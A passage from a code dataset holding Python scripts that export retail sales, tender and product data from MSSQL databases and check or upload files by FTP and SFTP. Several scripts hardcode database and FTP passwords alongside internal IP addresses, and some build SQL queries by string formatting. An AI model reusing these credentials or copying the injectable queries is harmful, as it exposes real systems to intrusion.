AS SaleType,\n 'T1PM' AS TenderType,\n Head.Status ,\n Head.VatAmt,\n Head.NetAmt,\n Head.redeemamt,\n OrderHead.NetAmt AS TotalNetAmt ,\n (Head.ItemDiscAmt + Head.OrdDiscAmt) AS TransactionDiscountAmount ,\n Head.T1CNoEarn\n FROM TBsubOrderHead Head\n INNER JOIN TBOrderHead OrderHead ON Head.OrderId = OrderHead.OrderId\n WHERE Head.IsGenT1c = 'No'\n AND Head.InvNo != ''\n AND Head.redeempoint <> 0\n AND Head.ShopGroup = %(shop_group)s {0}\n UNION ALL\n SELECT\n Head.SubSRNo as id,\n Head.ShopID,\n Head.ShopGroup,\n Head.CnNo AS InvNo,\n CONVERT(VARCHAR(19),Head.CnDate,111) AS InvDate,\n Head.CreateOn,\n '20' AS SaleType,\n 'CASH' AS TenderType,\n Head.Status ,\n Head.VatAmt,\n Head.NetAmt,\n '0' AS redeemamt,\n '0' AS TotalNetAmt ,\n (Head.ItemDiscAmt + Head.OrdDiscAmt) AS TransactionDiscountAmount ,\n Head.T1CNoEarn\n FROM TBSubSaleReturnHead Head WHERE Head.SubSaleReturnType IN ('CN', 'Exchange')\n AND Head.Status = 'Completed'\n AND Head.CnNo != ''\n AND Head.IsGenT1c = 'No'\n AND Head.ShopGroup = %(shop_group)s {0}\n\t\t\t\t\t\t\tORDER BY InvNo\"\"\"\n if shop_group == 'BU':\n query = query.format('{} ({})'.format(' AND Head.ShopID IN ', shop_id))\n else:\n query = query.format('')\n cursor.execute(query, dict(shop_group=shop_group))\n return [\n gen_tender(data, index + 1, store_number)\n for index, data in enumerate(cursor)\n ]\n\n\ndef total_tender_member(total, bu, store_number):\n print('--- Begin: TotalTenderMemberOnly ---')\n dt_batch_date_get(store_number, bu, 'GT')\n file_name_total = 'TL' + _file_name\n total = str(total).zfill(10)\n main_text = _time.strftime('%Y%m%d%H%M') + total\n with open(CFG_TENDER_MEMBER_PATH + file_name_total, 'w') as text:\n text.write(main_text)\n\n print('--- End: TotalTenderMemberOnly ---')\n\n\ndef total_tender_non_member(total, file_name, bu, store_number):\n print('--- Begin: TotalTenderNonMember ---')\n dt_batch_date_get(store_number, bu, 'GT')\n file_name_total = 'TO' + _file_name\n total = str(total).zfill(10)\n main_text = _time.strftime('%Y%m%d%H%M') + total\n with open(CFG_TENDER_NON_MEMBER_PATH + file_name_total, 'w') as text:\n text.write(main_text)\n\n zip_non_member_path = CFG_TENDER_NON_MEMBER_PATH\n create_directory(zip_non_member_path + 'ZipFile')\n with zipfile.ZipFile(zip_non_member_path + 'ZipFile/' + file_name + '.ZIP',\n 'w') as myzip:\n myzip.write(zip_non_member_path + file_name)\n myzip.write(zip_non_member_path + file_name_total)\n file_path = zip_non_member_path + 'ZipFile' + _file_name + '.ZIP'\n\n print('--- End: TotalTenderNonMember ---')\n\n\ndef get_batch_date():\n return _time - timedelta(days=1)\n\n\ndef get_sql_batch_date():\n return _time\n\n\ndef create_directory(path):\n if not os.path.exists(path):\n os.makedirs(path)\n\n\ndef update_order():\n sale = []\n sr = []\n for id in order_ids:\n if id[:2] == 'CR':\n sr.append(id)\n else:\n sale.append(id)\n query = \"\"\"\n BEGIN TRANSACTION A\n BEGIN TRY\n UPDATE TBSubOrderHead SET IsGenT1c = 'Yes' WHERE Suborderid in ('%s');\n UPDATE TBSubSaleReturnHead SET IsGenT1c = 'Yes' WHERE SubSRNo in ('%s')\n COMMIT TRANSACTION A\n END TRY\n BEGIN CATCH\n ROLLBACK TRANSACTION A\n END CATCH\n GO\n \"\"\" % (\"','\".join(sale), \"','\".join(sr))\n print(query)\n # with connect_db() as conn:\n # with conn.cursor(as_dict=True) as cursor:\n # cursor.execute(query)\n\n\nif __name__ == \"__main__\":\n create_directory('SaleTransaction')\n create_directory('TenderMemberTransaction')\n create_directory('TenderTransaction')\n create_directory('ReportT1CPath')\n generate_text()\n generate_report()\n update_order()\n" }, { "alpha_fraction": 0.6072050929069519, "alphanum_fraction": 0.623765230178833, "avg_line_length": 29.460176467895508, "blob_id": "d51cd1d594d65cc244ce5b0d6f22bc415f961b2b", "content_id": "6d3a8f282ca9d7cb78cfa856fd31f2bbee04a56c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3442, "license_type": "no_license", "max_line_length": 82, "num_lines": 113, "path": "/src/ofin_zo.py", "repo_name": "central-poc/dailyinterface", "src_encoding": "UTF-8", "text": "import os\nimport pymssql\nfrom datetime import datetime, timedelta\n\n_date = datetime.strptime('2017-08-03', '%Y-%m-%d')\n\n\ndef generate_data(date):\n with pymssql.connect('10.17.221.173', 'coreii', 'co@2ii!', 'DBMKP') as conn:\n with conn.cursor(as_dict=True) as cursor:\n cursor.callproc('spc_OFIN_GoodsReceiveAndRTV', (date, ))\n data = [row for row in cursor]\n\n cursor.execute('Select * From TBOFINGoodReceiveAndRTVUFMT_Temp')\n dtZO = [row for row in cursor]\n return data, dtZO\n\n\ndef check_debit_equal_to_credit(dtZO):\n sum_debit = sum(row['Debit'] for row in dtZO)\n sum_credit = sum(row['Credit'] for row in dtZO)\n\n if sum_debit > sum_credit:\n print('GoodsReceiving_ZO : Debit > Credit : %.2f' %\n (sum_debit - sum_credit))\n return False\n elif sum_debit < sum_credit:\n print('GoodsReceiving_ZO : Debit < Credit : %.2f' %\n (sum_credit - sum_debit))\n return False\n return True\n\n\ndef check_all_records_has_CPCID(dtZO):\n if any(not row['CPCID'] for row in dtZO):\n print('CPCID is null')\n return False\n return True\n\n\ndef validate_dtZO(dtZO):\n return check_debit_equal_to_credit(dtZO) & check_all_records_has_CPCID(dtZO)\n\n\ndef get_next_seq(files, prefix_filename, prefix_length):\n if not files:\n return 1\n else:\n try:\n seq = max(\n int(filename[prefix_length:prefix_length + 1])\n if filename.startswith(prefix_filename) else 0 for filename in files)\n return seq + 1\n except Exception as e:\n print('GenSeqNumber Error %s' % str(e))\n\n\ndef generate_report(output_path, date, data):\n date = date.strftime('%y%m%d')\n prefix_filename_ZO = 'ZO' + date\n seq = get_next_seq(\n [filename.split('.')[0] for filename in os.listdir(output_path)],\n prefix_filename_ZO, 8)\n ZO_name_dat = prefix_filename_ZO + str(seq) + '.DAT'\n ZO_name_dat_file_path = os.path.join(output_path, ZO_name_dat)\n ZO_name_val = prefix_filename_ZO + str(seq) + '.VAL'\n ZO_name_val_file_path = os.path.join(output_path, ZO_name_val)\n\n with open(ZO_name_dat_file_path, 'w') as dat_writer, open(\n ZO_name_val_file_path, 'w') as val_writer:\n try:\n line_count = 0\n for line in data:\n if line_count > 0:\n dat_writer.write('\\n')\n dat_writer.write(\n '%-6s%-5s%-8s%-6s%-6s%012.2f%012.2f%-20s%-20s%-20s%-10s%-240s' %\n (line['Store'], line['CPCID'], line['AccountCode'],\n line['SubAccount'], line['AccountDate'].strftime('%d%m%y'),\n line['Debit'], line['Credit'], line['JournalSourceName'],\n line['JournalCategoryName'], line['BatchName'], line['CFSFlag'],\n line['Description']))\n line_count = line_count + 1\n\n val_writer.write('%-14s%-10s' % (ZO_name_dat, str(line_count)))\n print('Create Files ZO .DAT & .VAL Complete..')\n except Exception as e:\n print('Create Files ZO .DAT & .VAL Error .. : ')\n print(str(e))\n\n\ndef get_report_path(date):\n dir_path = os.path.dirname(os.path.realpath(__file__))\n target_dir = 'D' + date.strftime('%Y-%m-%d')\n target_path = os.path.join(dir_path, 'BACKUP_OFIN', target_dir)\n if not os.path.exists(target_path):\n os.makedirs(target_path)\n return target_path\n\n\ndef main():\n date = _date\n data, dtZO = generate_data(date)\n\n if not validate_dtZO(dtZO):\n return\n\n target_path = get_report_path(date)\n generate_report(target_path, date, data)\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5970272421836853, "alphanum_fraction": 0.6151940822601318, "avg_line_length": 32.962615966796875, "blob_id": "5cd2e2e6f9c0f82abd003f127c7ea566a54d4001", "content_id": "f3d9a43285e969496f87a73d98ffd0652b204fb6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3633, "license_type": "no_license", "max_line_length": 94, "num_lines": 107, "path": "/src/autopos_ftp_checker.py", "repo_name": "central-poc/dailyinterface", "src_encoding": "UTF-8", "text": "from common import notifyLine, notifySlack\nfrom datetime import date, timedelta\nimport ftplib, traceback\n\n\ndef notify(message):\n print(message)\n # notifyLine(message)\n # notifySlack(message)\n\n\ndef ofin_cds_gl():\n try:\n yesterday = (date.today() - timedelta(days=1)).strftime('%y%m%d')\n gl_path = '/p3/fnp/cds/epos/data_in'\n ftp = ftplib.FTP('10.101.25.21')\n ftp.login('cdshopos', 'hopos')\n gl_files = ftp.nlst(gl_path)\n\n zn_dat = '{}/ZN{}CD1.DAT'.format(gl_path, yesterday) in gl_files\n zn_val = '{}/ZN{}CD1.VAL'.format(gl_path, yesterday) in gl_files\n zycd_dat = '{}/ZY{}CD1.DAT'.format(gl_path, yesterday) in gl_files\n zycd_val = '{}/ZY{}CD1.VAL'.format(gl_path, yesterday) in gl_files\n zycb_dat = '{}/ZY{}CB1.DAT'.format(gl_path, yesterday) in gl_files\n zycb_val = '{}/ZY{}CB1.VAL'.format(gl_path, yesterday) in gl_files\n\n notify('[AutoPOS] - ZN CDS Successfully') if zn_dat & zn_val else notify(\n '[AutoPOS] - ZN CDS not found !!')\n notify('[AutoPOS] - ZY CDS Successfully') if zycd_dat & zycd_val else notify(\n '[AutoPOS] - ZY CDS not found !!')\n notify('[AutoPOS] - ZY CBN Successfully') if zycb_dat & zycb_val else notify(\n '[AutoPOS] - ZY CBN not found !!')\n except Exception as e:\n traceback.print_tb(e.__traceback__)\n notify('[AutoPOS] - FTP Checker error: {}'.format(e))\n finally:\n ftp.quit()\n\n\ndef ofin_ssp_gl():\n try:\n yesterday = (date.today() - timedelta(days=1)).strftime('%y%m%d')\n gl_path = '/p3/fnp/sps/epos/data_in'\n ftp = ftplib.FTP('10.101.25.21')\n ftp.login('spshopos', 'hopos')\n gl_files = ftp.nlst(gl_path)\n\n zy_dat = '{}/ZY{}SP1.DAT'.format(gl_path, yesterday) in gl_files\n zy_val = '{}/ZY{}SP1.VAL'.format(gl_path, yesterday) in gl_files\n\n notify('[AutoPOS] - ZY SSP Successfully') if zy_dat & zy_val else notify(\n '[AutoPOS] - ZY SSP not found !!')\n except Exception as e:\n traceback.print_tb(e.__traceback__)\n notify('[AutoPOS] - FTP Checker error: {}'.format(e))\n finally:\n ftp.quit()\n\n\ndef ofin_b2s_gl():\n try:\n yesterday = (date.today() - timedelta(days=1)).strftime('%y%m%d')\n gl_path = '/p3/fnp/b2s/epos/data_in'\n ftp = ftplib.FTP('10.101.25.21')\n ftp.login('b2shopos', 'hopos')\n gl_files = ftp.nlst(gl_path)\n\n zy_dat = '{}/ZY{}B21.DAT'.format(gl_path, yesterday) in gl_files\n zy_val = '{}/ZY{}B21.VAL'.format(gl_path, yesterday) in gl_files\n\n notify('[AutoPOS] - ZY B2S Successfully') if zy_dat & zy_val else notify(\n '[AutoPOS] - ZY B2S not found !!')\n except Exception as e:\n traceback.print_tb(e.__traceback__)\n notify('[AutoPOS] - FTP Checker error: {}'.format(e))\n finally:\n ftp.quit()\n\n\ndef ofin_cds_ap():\n try:\n yesterday = (date.today() - timedelta(days=1)).strftime('%y%m%d')\n ap_path = '/p3/fnp/cds/invoice/data_in'\n ftp = ftplib.FTP('10.101.25.21')\n ftp.login('cdshoinv', 'hoinv')\n\n ap_files = ftp.nlst(ap_path)\n\n h = '{}/H{}FMS1.MER'.format(ap_path, yesterday) in ap_files\n hlog = '{}/H{}FMS1.LOG'.format(ap_path, yesterday) in ap_files\n l = '{}/L{}FMS1.MER'.format(ap_path, yesterday) in ap_files\n llog = '{}/L{}FMS1.LOG'.format(ap_path, yesterday) in ap_files\n\n notify('[AutoPOS] - H Successfully') if h & hlog else notify('[AutoPOS] - H not found !!')\n notify('[AutoPOS] - L Successfully') if l & llog else notify('[AUtoPOS] - L not found !!')\n except Exception as e:\n traceback.print_tb(e.__traceback__)\n notify('[AutoPOS] - FTP Checker error: {}'.format(e))\n finally:\n ftp.quit()\n\n\nif __name__ == '__main__':\n ofin_cds_gl()\n ofin_ssp_gl()\n ofin_b2s_gl()\n ofin_cds_ap()" }, { "alpha_fraction": 0.5965130925178528, "alphanum_fraction": 0.6147482395172119, "avg_line_length": 46.434600830078125, "blob_id": "5263ffc3c9dcf887c7d26fb1e1bcf6ffc3b69ad8", "content_id": "a7f940250c49a985f9a532f7f8d3d0a26d457476", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11242, "license_type": "no_license", "max_line_length": 172, "num_lines": 237, "path": "/src/sbl_cgo_product_master_full.py", "repo_name": "central-poc/dailyinterface", "src_encoding": "UTF-8", "text": "from common import sftp, cleardir\nimport csv\nfrom datetime import datetime\nimport math\nimport os\nimport pymssql\nimport uuid\n\ndir_path = os.path.dirname(os.path.realpath(__file__))\nparent_path = os.path.abspath(os.path.join(dir_path, os.pardir))\ntarget_dir = 'siebel/full'\ntarget_path = os.path.join(parent_path, 'output', target_dir)\nif not os.path.exists(target_path):\n os.makedirs(target_path)\ncleardir(target_path)\n\ninterface_name = 'BCH_CGO_T1C_ProductMasterFull'\nnow = datetime.now()\nbatchdatetime = now.strftime('%d%m%Y_%H:%M:%S:%f')[:-3]\nfiledatetime = now.strftime('%d%m%Y_%H%M%S')\n\nper_page = 10000\npage = 0\npages = 0\n\nwith pymssql.connect(\"mssql.production.thecentral.com\", \"coreapi\", \"coreapi\",\n \"DBMKPOnline\") as conn:\n with conn.cursor(as_dict=True) as cursor:\n start_time = datetime.now()\n sql = \"\"\"\n SELECT\n '1' AS LNIdentifier,\n concat('RBS-', pro.PID, '-', NewID()) AS SourceTransID,\n pro.PID,\n ISNULL(pro.Upc, '') AS Barcode,\n ISNULL([ProductNameEn], '') AS [ProductNameEN],\n ISNULL([ProductNameTh], '') AS [ProductNameTH],\n '' AS DIVCode,\n '' AS DIVNameEN,\n '' AS DIVNameTH,\n CASE WHEN ISNULL(Dept.IDEPT, '') = '' THEN '' ELSE CONCAT('RBS',Dept.IDEPT) END AS DeptID,\n ISNULL(Dept.DPTNAM, '') AS DeptNameEN,\n ISNULL(Dept.DPTNAM, '') AS DeptNameTH,\n CASE WHEN ISNULL(SubDept.ISDEPT, '') = '' THEN '' ELSE CONCAT('RBS',SubDept.ISDEPT) END AS SubDeptID,\n ISNULL(SubDept.DPTNAM, '') AS SubDeptNameEN,\n ISNULL(SubDept.DPTNAM, '') AS SubDeptNameTH,\n CASE WHEN ISNULL(Class.ICLAS, '') = '' THEN '' ELSE CONCAT('RBS',Class.ICLAS) END AS ClassID,\n ISNULL(Class.DPTNAM, '') AS ClassNameEN,\n ISNULL(Class.DPTNAM, '') AS ClassNameTH,\n CASE WHEN ISNULL(SubClass.ISCLAS, '') = '' THEN '' ELSE CONCAT('RBS',SubClass.ISCLAS) END AS SubClassID,\n ISNULL(SubClass.DPTNAM, '') AS SubClassNameEN,\n ISNULL(SubClass.DPTNAM, '') AS SubClassNameTH,\n '' AS ProductLine,\n substring(REPLACE(REPLACE(pro.ProdTDNameTh, CHAR(13), ''), CHAR(10), ''), 1, 255) AS PrimaryDesc,\n substring(REPLACE(REPLACE(pro.ProdTDNameEn, CHAR(13), ''), CHAR(10), ''), 1, 100) AS SecondaryDesc,\n 'A' AS Status,\n ISNULL(Pro.[BrandId], '') AS [BrandID],\n ISNULL(Ba.[BrandNameEn], '') AS [BrandNameEN],\n ISNULL(NULLIF(Ba.[BrandNameTh],''), [BrandNameEn]) AS [BrandNameTH],\n pro.vendorid AS VendorID,\n '' AS VendorNameEN,\n '' AS VendorNameTH,\n format(pro.EffectiveDate, 'ddMMyyyy', 'en-us') AS EffectiveStartDate,\n format(pro.ExpireDate, 'ddMMyyyy', 'en-us') AS EffectiveEndDate,\n '01' as CreditConsignmentCode,\n 'Credit' as CreditConsignmentDesc,\n 'ProductService' AS SourceSystem,\n CASE WHEN pro.TheOneCardEarn = '1' THEN 'N' ELSE 'Y' END AS PointExclusionFlag\n FROM [DBMKPOnline].[dbo].[Product] Pro\n LEFT JOIN [DBMKPOnline].[dbo].[Brand] Ba ON Pro.BrandId = Ba.BrandId\n JOIN JDARBS_Dept Dept on Dept.IDEPT = pro.JDADept AND Dept.ISDEPT = 0 AND Dept.ICLAS = 0 AND Dept.ISCLAS = 0\n JOIN JDARBS_Dept SubDept on SubDept.IDEPT = pro.JDADept AND SubDept.ISDEPT = pro.JDASubDept AND SubDept.ICLAS = 0 AND SubDept.ISCLAS = 0\n JOIN JDARBS_Dept Class on Class.IDEPT = pro.JDADept AND Class.ISDEPT = pro.JDASubDept AND Class.ICLAS = pro.ClassCode AND Class.ISCLAS = 0\n JOIN JDARBS_Dept SubClass on SubClass.IDEPT = pro.JDADept AND SubClass.ISDEPT = pro.JDASubDept AND SubClass.ICLAS = pro.ClassCode AND SubClass.ISCLAS = pro.SubClassCode\n WHERE 1 = 1\n AND len(pro.PID) > 0\n AND len(pro.Upc) > 0\n AND pro.status = 'AP'\n ORDER BY pro.Pid\n \"\"\"\n cursor.execute(sql)\n elapsed_time = (datetime.now() - start_time).seconds\n print(\"[RBS]:Prepared in {} s.\".format(elapsed_time))\n\n rbs_data = cursor.fetchall()\n rbs_rows = len(rbs_data)\n print(\"[RBS]:Rows: {}\".format(rbs_rows))\n\nwith pymssql.connect(\"10.17.220.55\", \"central\", \"Cen@tral\",\n \"DBCDSContent\") as conn:\n with conn.cursor(as_dict=True) as cursor:\n start_time = datetime.now()\n sql = \"\"\"\n if object_id('dbo.temp_siebel_product', 'U') is not null\n drop table dbo.temp_siebel_product\n \"\"\"\n cursor.execute(sql)\n sql = \"\"\"\n select s.* into dbo.temp_siebel_product from (\n select\n '1' as LNIdentifier,\n concat('CGO-', p.pidnew, '-', NewID()) as SourceTransID,\n p.pidnew as PID,\n isnull(nullif(LTRIM(RTRIM(m.sbc)),''), m.ibc) as Barcode,\n substring(REPLACE(REPLACE(p.DocnameEn, CHAR(13), ''), CHAR(10), ''), 1, 100) as ProductNameEN,\n substring(REPLACE(REPLACE(p.Docname, CHAR(13), ''), CHAR(10), ''), 1, 100) as ProductNameTH,\n '' as DIVCode,\n '' as DIVNameEN,\n '' as DIVNameTH,\n concat(case bu WHEN 'MSL' THEN 'M&S' ELSE bu END,m.IDept) as DeptID,\n substring(REPLACE(REPLACE(d.DeptName, CHAR(13), ''), CHAR(10), ''), 1, 60) as DeptNameEN,\n substring(REPLACE(REPLACE(d.DeptName, CHAR(13), ''), CHAR(10), ''), 1, 60) as DeptNameTH,\n concat(case bu WHEN 'MSL' THEN 'M&S' ELSE bu END,m.ISDept) as SubDeptID,\n substring(REPLACE(REPLACE(sd.DeptName, CHAR(13), ''), CHAR(10), ''), 1, 60) as SubDeptNameEN,\n substring(REPLACE(REPLACE(sd.DeptName, CHAR(13), ''), CHAR(10), ''), 1, 60) as SubDeptNameTH,\n concat(case bu WHEN 'MSL' THEN 'M&S' ELSE bu END,m.IClass) as ClassID,\n substring(REPLACE(REPLACE(c.DeptName, CHAR(13), ''), CHAR(10), ''), 1, 100) as ClassNameEN,\n substring(REPLACE(REPLACE(c.DeptName, CHAR(13), ''), CHAR(10), ''), 1, 100) as ClassNameTH,\n concat(case bu WHEN 'MSL' THEN 'M&S' ELSE bu END,m.ISClass) as SubClassID,\n substring(REPLACE(REPLACE(sc.DeptName, CHAR(13), ''), CHAR(10), ''), 1, 100) as SubClassNameEN,\n substring(REPLACE(REPLACE(sc.DeptName, CHAR(13), ''), CHAR(10), ''), 1, 100) as SubClassNameTH,\n '' as ProductLine,\n substring(REPLACE(REPLACE(p.displayname, CHAR(13), ''), CHAR(10), ''), 1, 255) as PrimaryDesc,\n substring(REPLACE(REPLACE(p.displaynameEN, CHAR(13), ''), CHAR(10), ''), 1, 100) as SecondaryDesc,\n 'A' as Status,\n b.brandjdaid as BrandID,\n substring(REPLACE(REPLACE(b.brandjdaname, CHAR(13), ''), CHAR(10), ''), 1, 50) AS BrandNameEN,\n substring(REPLACE(REPLACE(b.brandjdaname, CHAR(13), ''), CHAR(10), ''), 1, 50) AS BrandNameTH,\n m.vendorid as VendorID,\n '' as VendorNameEN,\n '' as VendorNameTH,\n format(p.EffectiveDate, 'ddMMyyyy', 'en-us') AS EffectiveStartDate,\n format(p.ExpiredDate, 'ddMMyyyy', 'en-us') AS EffectiveEndDate,\n isnull(m.skutype, '03') as CreditConsignmentCode,\n case\n when m.skutype = '01' then 'Credit'\n when m.skutype = '02' then 'Consigment'\n else 'Non-Merchandise'\n end as CreditConsignmentDesc,\n 'ProductService' as SourceSystem,\n 'N' as PointExclusionFlag\n from tbproduct p\n inner join TBBusinessUnit bu on p.BusinessUnitId = bu.BusinessUnitId\n inner join tbproductmapping m on m.pidnew = p.pidnew and m.BusinessUnitId = p.BusinessUnitId\n inner join tbjdabrand b on b.brandjdaid = m.brandjdaid and b.businessunitid = bu.parentid\n inner join tbjdahierarchy d on d.businessunitid = bu.parentid and d.idept = m.idept and d.isdept = 0 and d.iclass = 0 and d.isclass = 0\n inner join tbjdahierarchy sd on sd.businessunitid = bu.parentid and sd.idept = m.idept and sd.isdept = m.isdept and sd.iclass = 0 and sd.isclass = 0\n inner join tbjdahierarchy c on c.businessunitid = bu.parentid and c.idept = m.idept and c.isdept = m.isdept and c.iclass = m.iclass and c.isclass = 0\n inner join tbjdahierarchy sc on sc.businessunitid = bu.parentid and sc.idept = m.idept and sc.isdept = m.isdept and sc.iclass = m.iclass and sc.isclass = m.isclass\n where 1 = 1\n and len(p.pidnew) > 0\n and p.status in (1, 6, 9)\n and p.isfirststockgr = 1\n and getdate() between p.EffectiveDate and p.ExpiredDate\n and m.sbc is not null\n ) s\n order by s.pid\n \"\"\"\n cursor.execute(sql)\n sql = \"create index idx_siebel_product_pid ON dbo.temp_siebel_product (pid)\"\n cursor.execute(sql)\n elapsed_time = (datetime.now() - start_time).seconds\n print(\"Prepared in {} s.\".format(elapsed_time))\n\n sql = \"select count(pid) as c from dbo.temp_siebel_product\"\n cursor.execute(sql)\n data = cursor.fetchone()\n rows = data['c']\n pages = math.ceil(rows / per_page)\n print(\"rows: {}, pages: {}\".format(rows, pages))\n for page in range(0, pages):\n start_time = datetime.now()\n sql = \"\"\"\n select * from dbo.temp_siebel_product\n order by pid\n offset {} rows fetch next {} rows only\n \"\"\"\n cursor.execute(sql.format(per_page * page, per_page))\n data = cursor.fetchall()\n\n # Fill CDS Last Page Data\n if page == pages - 1:\n index = per_page - len(data)\n data = data + rbs_data[:index]\n rbs_data = rbs_data[index:]\n elapsed_time = (datetime.now() - start_time).seconds\n print(\"Page-{} in {} s.\".format(page + 1, elapsed_time))\n\n headers = data[0]\n total_row = len(data)\n datfile = \"{}_{}.dat.{:0>4}\".format(interface_name, filedatetime,\n page + 1)\n filepath = os.path.join(target_path, datfile)\n with open(filepath, 'w') as outfile:\n outfile.write(\"0|{}\\n\".format(total_row))\n writer = csv.DictWriter(\n outfile, fieldnames=headers, delimiter='|', skipinitialspace=True)\n for d in data:\n writer.writerow(d)\n outfile.write('9|End')\n\n # rest of rbs data\n rbs_pages = math.ceil(len(rbs_data) / per_page)\n for i in range(0, rbs_pages):\n write_data = rbs_data[:10000]\n if len(write_data) > 0:\n headers = write_data[0]\n total_row = len(write_data)\n datfile = \"{}_{}.dat.{:0>4}\".format(interface_name, filedatetime,\n page + 2 + i)\n filepath = os.path.join(target_path, datfile)\n with open(filepath, 'w') as outfile:\n outfile.write(\"0|{}\\n\".format(total_row))\n writer = csv.DictWriter(\n outfile,\n fieldnames=headers,\n delimiter='|',\n skipinitialspace=True)\n for d in write_data:\n writer.writerow(d)\n outfile.write('9|End')\n rbs_data = rbs_data[10000:]\n\nctrlfile = \"{}_{}.ctrl\".format(interface_name, filedatetime)\nfilepath = os.path.join(target_path, ctrlfile)\nattribute1 = \"\"\nattribute2 = \"\"\nwith open(filepath, 'w') as outfile:\n outfile.write(\"{}|CGO|Online|{}|{}|{}|CGO|{}|{}\".format(\n interface_name, pages + rbs_pages, rows + rbs_rows, batchdatetime,\n attribute1, attribute2))\n\nstart_time = datetime.now()\ndestination = 'incoming/product_full'\nsftp('cgo-prod', target_path, destination)\nelapsed_time = (datetime.now() - start_time).seconds\nprint(\"Success FTP in {} s.\".format(elapsed_time))\n" }, { "alpha_fraction": 0.5344708561897278, "alphanum_fraction": 0.5480868816375732, "avg_line_length": 38.87628936767578, "blob_id": "56189562fa78f1cf3f246179304be2ebc8d622c2", "content_id": "016dcdca53cfa8614f4524761038393b8de1bf69", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11604, "license_type": "no_license", "max_line_length": 136, "num_lines": 291, "path": "/src/sbl_ofm_nrtsale.py", "repo_name": "central-poc/dailyinterface", "src_encoding": "UTF-8", "text": "from common import sftp, cleardir\nfrom datetime import datetime, timedelta\nimport pymssql\nimport sys\nimport csv\nimport os\nimport uuid\n\n\ndef generate_text_t1c():\n sale_transactions = gen_tender(get_sale_tran())\n total_row = len(sale_transactions)\n\n dir_path = os.path.dirname(os.path.realpath(__file__))\n parent_path = os.path.abspath(os.path.join(dir_path, os.pardir))\n target_dir = 'siebel/nrtsale'\n target_path = os.path.join(parent_path, 'output', target_dir)\n if not os.path.exists(target_path):\n os.makedirs(target_path)\n cleardir(target_path)\n\n interface_name = 'BCH_OFM_T1C_NRTSales'\n now = datetime.now()\n batchdatetime = now.strftime('%d%m%Y_%H:%M:%S:%f')[:-3]\n filedatetime = now.strftime('%d%m%Y_%H%M%S')\n datfile = \"{}_{}.dat.{:0>4}\".format(interface_name, filedatetime, 1)\n filepath = os.path.join(target_path, datfile)\n print(filepath)\n with open(filepath, 'w') as text_file:\n text_file.write('0|{}\\n'.format(total_row))\n for transaction in sale_transactions:\n text_file.write('{}\\n'.format(transaction))\n text_file.write('9|END')\n\n ctrlfile = '{}_{}.ctrl'.format(interface_name, filedatetime)\n filepath = os.path.join(target_path, ctrlfile)\n attribute1 = \"\"\n attribute2 = \"\"\n with open(filepath, 'w') as outfile:\n outfile.write('{}|OFM|001|1|{}|{}|OFM|{}|{}'.format(\n interface_name, total_row, batchdatetime, attribute1, attribute2))\n\n destination = 'incoming/nrtsale'\n sftp('ofm-prod', target_path, destination)\n\n\ndef get_sale_tran():\n with pymssql.connect(\"10.17.1.23\", \"CTOAI\", \"CTO@Ai\",\n \"DBInterfaceSiebel\") as conn:\n with conn.cursor(as_dict=True) as cursor:\n sql = \"\"\"\n SELECT top 1\n BatchID,\n TotalRecord\n FROM tb_Control_Transaction\n WHERE Type = 'S'\n AND DATEDIFF(day,GETDATE(),BatchStartDT) = 0\n --AND left(BatchID,8)='20180814'\n ORDER BY BatchID DESC\n \"\"\"\n cursor.execute(sql)\n data = cursor.fetchone()\n batch_id = data[\"BatchID\"]\n print(batch_id)\n query = \"\"\"\n Select * from (\n SELECT\n '1' AS LNIdentifier,\n 'OFM-' + CAST(NEWID() AS NVARCHAR(36)) AS SourceTransID,\n h.StoreCode as StoreNo,\n ISNULL(h.PosNo,'') as PosNo,\n h.ReceiptNo,\n h.TransType,\n 'P' as TransSubType,\n REPLACE(CONVERT(VARCHAR(MAX), h.TransDate, 103), '/', '') +'_'+ CONVERT(VARCHAR(MAX), h.TransDate, 14) as TransDate,\n REPLACE(CONVERT(VARCHAR(10), h.InvoiceDate, 103), '/', '') as BusinessDate,\n ISNULL(REPLACE(CONVERT(VARCHAR(10), h.InvoiceDate, 103), '/', ''),'') as InvoiceDate,\n ISNULL(REPLACE(CONVERT(VARCHAR(10), h.DeliveryDate, 103), '/', ''),'') as DeliveryDate,\n h.OnlineFlg as EarnOnlineFlag,\n ISNULL(h.T1CNumber,'') as T1CCardNo,\n ISNULL(h.Mobile,'') as MobileNo,\n h.[User] as UserID,\n d.SeqNo as ItemSeqNo,\n d.RTLProductCode as ProductCode,\n d.Barcode as ProductBarcode,\n d.ItemQty as Quantity,\n d.PriceUnit,\n CONVERT(DECIMAL(10,3),d.PriceUnit * d.ItemQty) as PriceTotal,\n CASE WHEN d.ItemQty = 0\n THEN d.NetPriceTotal\n ELSE CONVERT(DECIMAL(10,3),d.NetPriceTotal / d.ItemQty)\n END as NetPriceUnit,\n d.NetPriceTotal,\n d.DiscountAmount as DiscountTotal,\n d.VatAmount,\n '' as TenderType,\n '' as TenderRefNo,\n ISNULL(H.OriginalReceipt,'') as OriginalReceiptNo,\n ISNULL(d.OriginalSeq,'') as OriginalItemSequenceNo,\n h.DisplayReceiptNo,\n h.ReturnAllFlag,\n ISNULL(h.SBLCnclRedeemTxnID,'') as SBLCnclRedeemTxnID,\n h.TotalAmount as TotalAmount\n FROM tb_saleH h\n JOIN tb_SaleD d ON h.ReceiptNo = d.ReceiptNo and h.BatchID = d.BatchID\n WHERE h.BatchID = %(BatchID)s\n\n Union All\n\n SELECT\n '1' AS LNIdentifier,\n 'OFM-' + CAST(NEWID() AS NVARCHAR(36)) AS SourceTransID,\n h.StoreCode as StoreNo,\n '' as PosNo,\n c.ReceiptNo,\n '01'as TransType,\n 'C' as TransSubType,\n REPLACE(CONVERT(VARCHAR(MAX), h.TransDate, 103), '/', '') +'_'+ CONVERT(VARCHAR(MAX), h.TransDate, 14) as TransDate,\n REPLACE(CONVERT(VARCHAR(10), h.InvoiceDate, 103), '/', '') as BusinessDate,\n ISNULL(REPLACE(CONVERT(VARCHAR(10), h.InvoiceDate, 103), '/', ''),'') as InvoiceDate,\n ISNULL(REPLACE(CONVERT(VARCHAR(10), h.DeliveryDate, 103), '/', ''),'') as DeliveryDate,\n '' as EarnOnlineFlag,\n ISNULL(h.T1CNumber,'') as 